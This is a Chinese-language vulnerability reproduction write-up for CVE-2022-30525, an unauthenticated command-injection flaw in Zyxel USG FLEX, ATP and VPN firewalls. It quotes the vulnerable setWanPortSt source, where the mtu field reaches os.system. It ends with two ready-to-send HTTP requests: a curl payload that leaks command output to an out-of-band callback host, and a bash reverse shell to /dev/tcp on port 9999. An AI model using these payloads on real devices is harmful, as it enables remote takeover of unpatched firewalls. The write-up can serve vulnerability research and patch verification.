Zyxel USG FLEX handler 远程命令执行漏洞 CVE-2022-30525
漏洞描述
Rapid7 发现并报告了一个漏洞，该漏洞影响支持零接触配置 (ZTP) 的 Zyxel 防火墙，其中包括 ATP 系列、VPN 系列和 USG FLEX 系列（包括 USG20-VPN 和 USG20W-VPN）。该漏洞标识为 CVE-2022-30525，允许未经身份验证的远程攻击者以nobody受影响设备上的用户身份执行任意代码。
漏洞影响
USG FLEX 100、100W、200、500、700 < ZLD5.00 - ZLD5.21 补丁 1
USG20-VPN、USG20W-VPN < ZLD5.10 - ZLD5.21 补丁 1
ATP 100、200、500、700、800 < ZLD5.10 - ZLD5.21 补丁 1
漏洞复现
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出现漏洞的文件为 lib_wan_settings.py 下的 setWanPortSt 方法
def setWanPortSt(req): reply = {} vlan_tagged = '' logging.info(req) port = req["port"].strip() vlanid = req["vlanid"] proto = req["proto"] data = req["data"] vlan_tagged = req["vlan_tagged"] cmdLine = '' GUIportst = {} extname = findextname(port) #TODO: subprocess method try: if vlan_tagged == '1': if vlanid == '': vlanid == '0' if proto == "dhcp": if 'mtu' not in req: req['mtu'] = '1500' if vlan_tagged == '1': cmdLine = '/usr/sbin/sdwan_iface_ipc 11 ' else: cmdLine = '/usr/sbin/sdwan_iface_ipc 1 ' #extname = findextname(port) cmdLine += extname + ' ' + port.lower() + ' ' + req['mtu'] if vlan_tagged == '1': cmdLine += ' ' + vlanid if "option60" in data: cmdLine += ' ' + data['option60'] cmdLine += ' >/dev/null 2>&1' elif proto == "static": if 'mtu' not in req: req['mtu'] = '1500' prefix_length = netmask_to_cidr(data['netmask']) if vlan_tagged == '1': cmdLine = '/usr/sbin/sdwan_iface_ipc 12 ' else: cmdLine = '/usr/sbin/sdwan_iface_ipc 2 ' #extname = findextname(port) cmdLine += extname + ' ' + port.lower() + ' ' + data['ipaddr'] + ' ' + str(prefix_length) + ' ' + data['gateway'] + ' ' + req['mtu'] if vlan_tagged == '1': cmdLine += ' ' + vlanid cmdLine += ' ' + data['firstDnsServer'] if 'secondDnsServer' in data: cmdLine += ' ' + data['secondDnsServer'] cmdLine += ' >/dev/null 2>&1' elif proto == "pppoe": if vlan_tagged == '1': cmdLine = '/usr/sbin/sdwan_iface_ipc 13 ' else: cmdLine = '/usr/sbin/sdwan_iface_ipc 3 ' #extname = findextname(port) if 'auth_type' not in data: data['auth_type'] = 'chap-pap' if 'mtu' not in req: req['mtu'] = '1492' if 'ipaddr' not in data: data['ipaddr'] = '0.0.0.0' if 'gateway' not in data: data['gateway'] = '0.0.0.0' if 'firstDnsServer' not in data: data['firstDnsServer'] = '0.0.0.0' cmdLine += extname + ' ' + port.lower() + ' ' + data['username'] + ' ' + data['password'] \ + ' ' + data['auth_type'] \ + ' ' + data['ipaddr'] + ' ' + data['gateway'] \ + ' ' + data['firstDnsServer'] + ' ' + req['mtu'] if vlan_tagged == '1': cmdLine += ' ' + vlanid cmdLine += ' >/dev/null 2>&1' logging.info("cmdLine = %s" % cmdLine) with open("/tmp/local_gui_write_flag", "w") as fout: fout.write("1"); response = os.system(cmdLine) logging.info(response) if response != 256: logging.info("cmd thread return error") reply = {"error": 500} else: logging.info("cmd success!!") reply["stdout"] = [{}] reply["stderr"] ="" with open(WAN_PORT_LAST_CHANGED, "w") as fout: fout.write(port) if not os.path.exists(ztpinclude.PATH_WAN_MODIFIED_TO_CLOUD): reply = {"error": 500, "exception": "Cannot find data2cloud folder!"} with open(ztpinclude.PATH_WAN_MODIFIED_TO_CLOUD + 'local_wan_modified', 'a+') as fout: fout.write(port + ' ') except Exception as e: reply = {"error": 500, "exception": e} return reply
从源码里可以看到拼接的参数为 mtu , 随后直接 os.system 命令执行
验证POC
POST /ztp/cgi-bin/handler HTTP/1.1 Host: Content-Type: application/json {"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":";curl `id`.c9y7h342vtc00002dwxggr9tukwyyyyyj.interact.sh;","data":"hi"}
反弹Shell
POST /ztp/cgi-bin/handler HTTP/1.1 Host: Content-Type: application/json {"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":";bash -c 'exec bash -i &>/dev/tcp/xxx.xxx.xxx.xxx/9999 <&1';","data":"hi"}
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